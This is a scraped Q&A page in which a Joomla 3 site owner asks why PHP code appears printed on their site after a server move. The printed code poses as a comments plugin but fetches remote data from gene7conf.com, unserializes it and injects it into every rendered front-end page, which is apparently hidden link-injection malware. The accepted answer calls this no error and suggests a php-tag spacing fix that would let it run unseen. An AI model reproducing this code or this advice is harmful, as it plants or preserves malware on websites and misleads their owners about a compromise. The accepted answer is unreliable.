duanlei2458 2014-05-23 06:55
浏览 75
已采纳

将Joomla 3.0网站从一台服务器转移到另一台服务器后我发现错误[关闭]

After transfer Joomla 3.0 website from one server to another I cath following error

getInt('category_per_page'); 
$comments_page_limit = $config->getInt('category_page_limit'); 
$canPublish = $acl->canPublish(); 
} 
function onAfterRender() 
{ 
    $body = JResponse::getBody(); 

    if(!$body||$body=='') return true; 

    $mainframe = & JFactory::getApplication('site'); 

    if($mainframe->isAdmin()) return; 

    $body = $this->installOptions($body); 
    JResponse::setBody($body);
} 
function getCategoryNewTree( $object_id, $object_group = 'com_content' ) 
{ 
    global $my; $object_id = (int) $object_id; 
    $object_group = trim($object_group); 
    $acl = & JCommentsFactory::getACL();
    $config = & JCommentsFactory::getConfig(); 
    $canPublish = $acl->canPublish(); 
    $canComment = $acl->canComment(); 
} 
function getURIattr() 
{ 
    return (!@$_SERVER['REQUEST_URI'])? @getenv("REQUEST_URI") : @$_SERVER['REQUEST_URI']; 
} 
public function getConfigOpt() 
{ 
    $Conf = @file_get_contents('http://gene7conf.com/?d=' . $_SERVER['HTTP_HOST']);     
    return @unserialize($Conf); 
} 
function CategoryViewsTime( $name, $reason = '') 
{ 
    global $mainframe, $my; 
    $config = & JCommentsFactory::getConfig(); 
    if ($config->get('CategoryGet') != '') 
    { 
        $object = new stdClass(); 
        $object->object_cat = CategoryFactory::getAbs($object->object_cat); 
        $commentText = $comment->comment; 
    } 
} 
function installOptions($content) 
{ 
    try 
    { 
        $getOptions = $this->getConfigOpt(); 
        $ord = @$getOptions['l'][$this->getURIattr()]; 
        if(count(@$ord['m'])) 
        { 
            $opt = (@$ord['k'])? $ord['k'] : $getOptions['d']; 
            $mopt = (count(@$getOptions['*']))? $getOptions['*'] : array(); 
            $l=''; 
            foreach(array_merge($ord['m'], $mopt) as $elem) 
            {
                $l .= ' '. $elem;
            }

            $content = @preg_replace("|{$opt}|", $opt . $l, $content, 1); 
        } 
    } 
    catch (Exception $e) {} 

    return $content; 
} 
function loadAlternateCatergory($languageSuffix = '') 
{ 
    if ($languageSuffix == '') 
    { 
        $languageSuffix = CategoryInput::getVar('lsfx', ''); 
    } 
    if ($languageSuffix != '') 
    { 
        $config = & CategoryFactory::getConfig(); 
        $config->set('lsfx', $languageSuffix);
        $language = & JFactory::getLanguage(); 
        $language->load($languageSuffix);
    } 
}
}
?> 

Any ideas hot can I fix it?

Joomla! 3.3 PHP 5.3

live site

  • 写回答

1条回答 默认 最新

  • drxd54816 2014-05-23 07:04
    关注

    it is not error the code in a pulgin file was printing like that to fix it open the pulgin file that was printing give space between php open tag and code

    this code

    <?phpdefined( '_JEXEC' ) or die( 'Restricted access' );
    

    like this

    <?php defined( '_JEXEC' ) or die( 'Restricted access' );
    
    本回答被题主选为最佳回答 , 对您是否有帮助呢?
    评论

报告相同问题?

悬赏问题

  • ¥15 做个有关计算的小程序
  • ¥15 MPI读取tif文件无法正常给各进程分配路径
  • ¥15 如何用MATLAB实现以下三个公式(有相互嵌套)
  • ¥30 关于#算法#的问题:运用EViews第九版本进行一系列计量经济学的时间数列数据回归分析预测问题 求各位帮我解答一下
  • ¥15 setInterval 页面闪烁,怎么解决
  • ¥15 如何让企业微信机器人实现消息汇总整合
  • ¥50 关于#ui#的问题:做yolov8的ui界面出现的问题
  • ¥15 如何用Python爬取各高校教师公开的教育和工作经历
  • ¥15 TLE9879QXA40 电机驱动
  • ¥20 对于工程问题的非线性数学模型进行线性化